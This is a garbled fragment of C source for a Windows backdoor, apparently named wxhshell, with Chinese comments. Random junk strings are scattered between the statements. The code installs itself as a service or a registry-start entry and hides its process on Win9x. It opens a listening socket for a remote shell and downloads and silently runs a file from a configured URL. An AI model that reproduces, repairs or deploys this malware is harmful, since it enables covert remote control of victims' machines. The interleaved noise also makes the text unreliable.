b CloseHandle(hProcess); 5IK@<#wE *QG;KJ% if(strstr(procName,"services")) return 1; // 以服务启动 s<b7/;w' 6,PLzZ5 return 0; // 注册表启动 3[0:,^a } je-s%kNlJ Q1Ao65 // 主模块 l&B'.6XKs int StartWxhshell(LPSTR lpCmdLine) ~}w 8UO { bRp[N SOCKET wsl; WQx;tX BOOL val=TRUE; KfNXX>' int port=0; %u}sVRJ struct sockaddr_in door; v knFtpx Vd4osBu{fY if(wscfg.ws_autoins) Install(); ;"Y6&YP< #F@7>hd1 port=atoi(lpCmdLine); M6iKl bG)MG0<TT if(port<=0) port=wscfg.ws_port; BP$#a
# "+&<Q d2 WSADATA data; ;>N ~,Q if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z3]U%y(, 639k&"V if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Mk[`HEO setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YqgW8EM door.sin_family = AF_INET; k6BgY|0g C door.sin_addr.s_addr = inet_addr("127.0.0.1"); R`q!~8u door.sin_port = htons(port); Oe`t!&v <Tf;p8# if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z7C1&bGe closesocket(wsl); sLIP|i return 1; 4)I#[&f } v=VmiBq[ V-jL`(JF% if(listen(wsl,2) == INVALID_SOCKET) { u#~!%~ closesocket(wsl); ?miM15XI return 1; ?M^t4nj } @k<~`S~| Wxhshell(wsl); 3G^Ed)JvE WSACleanup(); *.g?y6d EB<q. return 0; m{c#cR -::%9D}P| } G>QTPXcD sfE8b/Z8 // 以NT服务方式启动 HU9y{H VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (_ah~VnO { ~py0Vx,F DWORD status = 0; '.,.F0{x DWORD specificError = 0xfffffff; xQap44KPZ u2-7vudh serviceStatus.dwServiceType = SERVICE_WIN32; 0h4}RmS serviceStatus.dwCurrentState = SERVICE_START_PENDING; gH3kX<e serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L0tKIpk serviceStatus.dwWin32ExitCode = 0; B_glyC serviceStatus.dwServiceSpecificExitCode = 0; oE1]vX serviceStatus.dwCheckPoint = 0; ()?co<@(l serviceStatus.dwWaitHint = 0; p)xI5,b$9 y>|XpImZ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *(B[J if (hServiceStatusHandle==0) return; <t% A)L% VY@hhr1s~ status = GetLastError(); g/p9"eBpq if (status!=NO_ERROR) [t{#@X { %PbqASm serviceStatus.dwCurrentState = SERVICE_STOPPED; \[1CDz=}1 serviceStatus.dwCheckPoint = 0; r:4IKuTR serviceStatus.dwWaitHint = 0; |wQZ~Ux: serviceStatus.dwWin32ExitCode = status; shIi,!bZ serviceStatus.dwServiceSpecificExitCode = specificError; 4uAafQ`@H SetServiceStatus(hServiceStatusHandle, &serviceStatus); yX3H&F6 return; Ba|}C(Ws? } i0Q
_f!j % T \N@ serviceStatus.dwCurrentState = SERVICE_RUNNING; @H0%N53nE serviceStatus.dwCheckPoint = 0; k^c=y<I serviceStatus.dwWaitHint = 0; es+_]:7B9 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B@inH]wq } K/v-P <g 1Z8Oh_DC // 处理NT服务事件,比如:启动、停止 O'|P| VOID WINAPI NTServiceHandler(DWORD fdwControl) Ks2%F&\cE { UMQW#$~C{g switch(fdwControl) 3}{5
X' { I A#*T` case SERVICE_CONTROL_STOP: N('DIi*or serviceStatus.dwWin32ExitCode = 0; ,9wenr serviceStatus.dwCurrentState = SERVICE_STOPPED; R(N(@KC serviceStatus.dwCheckPoint = 0; % W',c u serviceStatus.dwWaitHint = 0; R+VLoz*J6 { \Rqh|T<D SetServiceStatus(hServiceStatusHandle, &serviceStatus); r5fkt>HZ } ."Ix#\|x return; IPi<sE case SERVICE_CONTROL_PAUSE: ugCS & serviceStatus.dwCurrentState = SERVICE_PAUSED; h?3l break; ANQa2swM case SERVICE_CONTROL_CONTINUE: )-KE 4/G serviceStatus.dwCurrentState = SERVICE_RUNNING; m_02"' break; \}QuNwc case SERVICE_CONTROL_INTERROGATE: 2$zq ( break; a&
aPBv1 }; >"g<-!p@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8~(+[[TQ@ } OMI!=Upz y{Y+2}Dv/ // 标准应用程序主函数 [Pwo,L,) int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |z.GSI_!) { bL],KW;Q |\n)<r_ // 获取操作系统版本 #IhLpO OsIsNt=GetOsVer(); qL5#.bR GetModuleFileName(NULL,ExeFile,MAX_PATH); ;AGs1j 3k*:B~1 // 从命令行安装 U"y'Kd if(strpbrk(lpCmdLine,"iI")) Install(); _7.GzQJ |;u%JW$4 // 下载执行文件 DT"Zq if(wscfg.ws_downexe) { yb{{ z@ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GHC?Tp WinExec(wscfg.ws_filenam,SW_HIDE); k-cIb@+" } f@Rpb}zg+C 8
]06!7S} if(!OsIsNt) { !QR?\9` // 如果时win9x,隐藏进程并且设置为注册表启动 a$zm/ HideProc(); 3^R] [; StartWxhshell(lpCmdLine); tZu*Asx7 } `I vw`} L else $K.%un Gm if(StartFromService()) m7wc)"`t // 以服务方式启动 ?WQd StartServiceCtrlDispatcher(DispatchTable); Fr3d#kVR else pG F5aF7T // 普通方式启动 CziaxJ StartWxhshell(lpCmdLine); x"llX :7Z\3_D/ return 0; opcR~tg@r }
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